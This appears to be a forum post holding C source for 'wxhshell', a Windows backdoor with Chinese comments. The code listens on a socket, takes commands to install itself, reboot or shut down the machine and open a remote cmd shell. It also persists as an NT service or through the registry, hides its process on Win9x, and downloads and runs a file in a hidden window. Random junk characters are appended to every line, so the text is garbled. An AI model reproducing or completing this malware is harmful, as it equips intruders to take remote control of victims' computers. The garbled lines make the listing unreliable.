    switch(cmd[0]) { rh/3N8[6  
  [t,grdw  
  // 帮助 q$~S?X5\  
  case '?': { i#iY;R8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [}}oHm3&  
    break; x(}@se  
  } c[@>#7p`o  
  // 安装 qS+'#Sn  
  case 'i': { ^L<1S/~)  
    if(Install()) `p*7MZ9 -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kVe}_[{m  
    else R qOEQ*k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +!'6:F  
    break; ZO W{rv]  
    } W^P%k:anK  
  // 卸载 <@ (HQuL#  
  case 'r': { JwxI8Pi*y  
    if(Uninstall()) >")%4@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2m/1:5  
    else &=K-~!?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _QkU,[E  
    break; rL&585  
    } c|hKo[r)  
  // 显示 wxhshell 所在路径 wF$8#=  
  case 'p': { #^%Rk'W  
    char svExeFile[MAX_PATH]; /,$6`V  
    strcpy(svExeFile,"\n\r"); ?)5}v4b  
      strcat(svExeFile,ExeFile); 6(<AuhFu  
        send(wsh,svExeFile,strlen(svExeFile),0); C  `k^So)  
    break; =+A8s$Pb  
    } I^0bEwqZ~  
  // 重启 u.1u/o1"  
  case 'b': { ]%"Z[R   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _H<ur?G  
    if(Boot(REBOOT)) @fPiGu`L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2p(K0PtX  
    else { O BF5Tl4  
    closesocket(wsh);  oC >^V5  
    ExitThread(0); 80c\O-{  
    } i!ejK6Q  
    break; r]kLe2r:B  
    } >c;q IP)Z  
  // 关机 ^L*:0P~  
  case 'd': { kG@1jMPtQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /XtxgO\T.  
    if(Boot(SHUTDOWN)) xAon:58m{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *`=V"nXw$|  
    else { lf[ (  
    closesocket(wsh); \ bd? `."  
    ExitThread(0); w!8h4U. ;  
    } 4$1sBY/  
    break; y85GKysT  
    } &*T57tE  
  // 获取shell By:A9 s  
  case 's': { 8&3+=<U  
    CmdShell(wsh); CIYTs,u#  
    closesocket(wsh); kplyZ  
    ExitThread(0); +8mfq\ Y1  
    break; )u(`s`zd  
  } - "h {B  
  // 退出 q}1AV7$Ai  
  case 'x': { i *nNu-g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .' 3;Z'%"g  
    CloseIt(wsh); pU<->d;->  
    break; I>C;$Lp]  
    } L+9a4/q  
  // 离开 U3 ED3) D  
  case 'q': { UXR$7<D+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Nr uXXd  
    closesocket(wsh); <+ >y GPp  
    WSACleanup(); j""u:l^+x  
    exit(1); &AoXv`l4  
    break; `?2S4lN/  
        } W 29@`93  
  } ;_1D-Mf  
  } :&9#p% /  
N=)N   
  // 提示信息 maXQG&.F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q<wrO  
} =uMoX -  
  } L&.9.Ll  
E{(7]Wri  
  return; pN1W|Wv2  
} xzAyE5GL>  
{Lrez E4  
// shell模块句柄 s-3vp   
int CmdShell(SOCKET sock) mst-:F[h  
{ 2PAo tD4+I  
STARTUPINFO si; C[|jJ9VE,  
ZeroMemory(&si,sizeof(si)); 6psK2d0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }gGcYRT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /2~qm/%Q  
PROCESS_INFORMATION ProcessInfo; f0O"Hm$Z  
char cmdline[]="cmd"; lk)38.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nH/V2> Lm  
  return 0; 1vx:`2 A4  
} 9p9:nx\  
v`*!Bhc-  
// 自身启动模式 "b|qyT* Sl  
int StartFromService(void) = 0Z}s  
{ ./rNq!*a  
typedef struct yAW%y  
{ <x53b/ft  
  DWORD ExitStatus; [?.k8;k  
  DWORD PebBaseAddress;  r@/+  
  DWORD AffinityMask; |z-A;uL<  
  DWORD BasePriority; OU/PB  
  ULONG UniqueProcessId; diaLw  
  ULONG InheritedFromUniqueProcessId; :BN qr[=b  
}   PROCESS_BASIC_INFORMATION; Y'DI@  
ZZX|MA!  
PROCNTQSIP NtQueryInformationProcess; E&7U |$  
l]uF!']f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s1?N&t8c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k-*H=km  
L|u\3.:  
  HANDLE             hProcess; D0.7an6  
  PROCESS_BASIC_INFORMATION pbi; ^R! qxSj  
K\,)9:`t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dE%rQE7'  
  if(NULL == hInst ) return 0; ?WKFDL'_0j  
L^Fni~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =j#uH`jgW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [K9l>O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p>Qzz`@e  
-V%"i,t  
  if (!NtQueryInformationProcess) return 0; 4`7N}$j#,  
5.q2<a :  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &l/2[>D%4  
  if(!hProcess) return 0; 9!NL<}]{  
v1oq[+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AU OL?st  
AD_")_B|i  
  CloseHandle(hProcess); Hca vA{H  
N>/!e787OU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;xS@-</:  
if(hProcess==NULL) return 0; P\pHos  
^mv F%"g  
HMODULE hMod; W.'#pd  
char procName[255]; !9_HZ(W&  
unsigned long cbNeeded; HQCxO?  
g=XvqD<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^KM' O8  
wDVKp['  
  CloseHandle(hProcess); bC{}&a  
>7V96jL$Y  
if(strstr(procName,"services")) return 1; // 以服务启动 ^ Vso`(Ss  
!KKkw4  
  return 0; // 注册表启动 =\"88e;b2  
} 3X=9$xw_  
K`{P/w  
// 主模块 PzMJ^H{  
int StartWxhshell(LPSTR lpCmdLine) m(i84~  
{ /Nt#|C>  
  SOCKET wsl; 4>-'wMW")  
BOOL val=TRUE; Vzn0;  
  int port=0; ~!;*C  
  struct sockaddr_in door; ZVs]_`(+  
{p[{5k 0  
  if(wscfg.ws_autoins) Install(); 9~n`6;R  
 sC1Mwx  
port=atoi(lpCmdLine); zo6|1xq   
-K eoq  
if(port<=0) port=wscfg.ws_port; Yd'Fhvo8  
=PYfk6j9  
  WSADATA data; ZP~Mgz{f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X'Q?Mh  
iO 9.SF0:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kw{dvE\K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u atY:GSR  
  door.sin_family = AF_INET; o&0fvCpW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zgy~Y0Di  
  door.sin_port = htons(port); -@L7! ,j  
=z^ 2KH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m#1 >y}  
closesocket(wsl); !xk`oW  
return 1; .8e]-^Z  
} ?1w{lz(P  
v=5H,4UMA  
  if(listen(wsl,2) == INVALID_SOCKET) { HVjN<HIqM  
closesocket(wsl); !ij R  
return 1; 0Xo>f"2<f  
} ;E:vsVK  
  Wxhshell(wsl); &n$kVNE  
  WSACleanup(); Iue}AGxu:{  
nilis-Bk_  
return 0; I]Ev6>=;  
]Q0m]OaT  
} ~&HP }Q$#f  
^/]w}C#:d  
// 以NT服务方式启动 M^IEu }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?#s9@R1  
{ -&q@|h'  
DWORD   status = 0; cD.afy  
  DWORD   specificError = 0xfffffff; @=_4i&]$  
|BGB60}]f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ey|{yUmU+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `A\,$(q+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]#k=VKdV  
  serviceStatus.dwWin32ExitCode     = 0; 9*~bAgkWI  
  serviceStatus.dwServiceSpecificExitCode = 0; d*$L$1S  
  serviceStatus.dwCheckPoint       = 0; M>qqe!c*  
  serviceStatus.dwWaitHint       = 0; D/[;Y<X#V  
Gh%R4)}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M.FY4~  
  if (hServiceStatusHandle==0) return; Nk63F&J7e  
r=6N ZoZ  
status = GetLastError(); [#@\A]LO  
  if (status!=NO_ERROR) mH.c`*  
{ )J^5?A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1X5MknA  
    serviceStatus.dwCheckPoint       = 0; QmgO00{  
    serviceStatus.dwWaitHint       = 0; ~ =GwNo_  
    serviceStatus.dwWin32ExitCode     = status; Qm_IU!b  
    serviceStatus.dwServiceSpecificExitCode = specificError; h* 72 f/#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M ^ZEAZi  
    return; VLPPEV-u  
  }  g^l~AR  
k"3@ G?JY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w#v-h3XcF  
  serviceStatus.dwCheckPoint       = 0; C'~E q3  
  serviceStatus.dwWaitHint       = 0; C/?x`2'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sU(<L0  
} ?;]Xc~  
)%q!XM  
// 处理NT服务事件,比如:启动、停止 y(ceEV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \@[Y ~:  
{ 4A`U [r_>D  
switch(fdwControl) xX?9e3(  
{ 4wKQs&:  
case SERVICE_CONTROL_STOP: A^c  (  
  serviceStatus.dwWin32ExitCode = 0; HTLS$o;Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _z=yt t9D  
  serviceStatus.dwCheckPoint   = 0; .wV-g:2  
  serviceStatus.dwWaitHint     = 0; *(s0X[-  
  { o2D;EUsNX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i>7]9gBm1q  
  } I`77[  
  return; +~>cAWZq_  
case SERVICE_CONTROL_PAUSE: Tn"@u&P *  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wg+[T;0S  
  break; pocXQEg$]  
case SERVICE_CONTROL_CONTINUE: &^`[$LtYd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U3jnH  
  break; !K-qoBqKM  
case SERVICE_CONTROL_INTERROGATE: Kv)Kn8df  
  break; P~#LbUP(  
}; Q@"}v_r4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Bt>JbGs4  
} |No9eZ8>.  
#@' B\!<@=  
// 标准应用程序主函数 Y <`X$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P2&0bNY  
{ .HN4xL  
D9  Mst6  
// 获取操作系统版本 O2":)zU.  
OsIsNt=GetOsVer(); z6Fl$FFP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZA&bp{}D  
mBEMwJ}O`  
  // 从命令行安装 ]Exbuc  
  if(strpbrk(lpCmdLine,"iI")) Install(); k]A =Q  
nq,:UYNJ  
  // 下载执行文件 R , #szTu  
if(wscfg.ws_downexe) { d;,Jf*x\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B8unF=u  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0dIGX |e  
} .F'Cb)Z  
Aj]/A  
if(!OsIsNt) { Lf:#koaC  
// 如果时win9x,隐藏进程并且设置为注册表启动 guVuO  
HideProc(); ex#-,;T  
StartWxhshell(lpCmdLine); <`WDNi$Y  
} l9]nrT1Hy  
else V$w bmz  
  if(StartFromService()) g:.LCF  
  // 以服务方式启动 r:PYAb=g  
  StartServiceCtrlDispatcher(DispatchTable); \PD%=~  
else ~]24">VZf  
  // 普通方式启动 nI4oQE  
  StartWxhshell(lpCmdLine); xi=0 kO  
@#*{* S8  
return 0; ~$ Po3]{s  
}
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只看该作者 1 发表于: 2006-10-10
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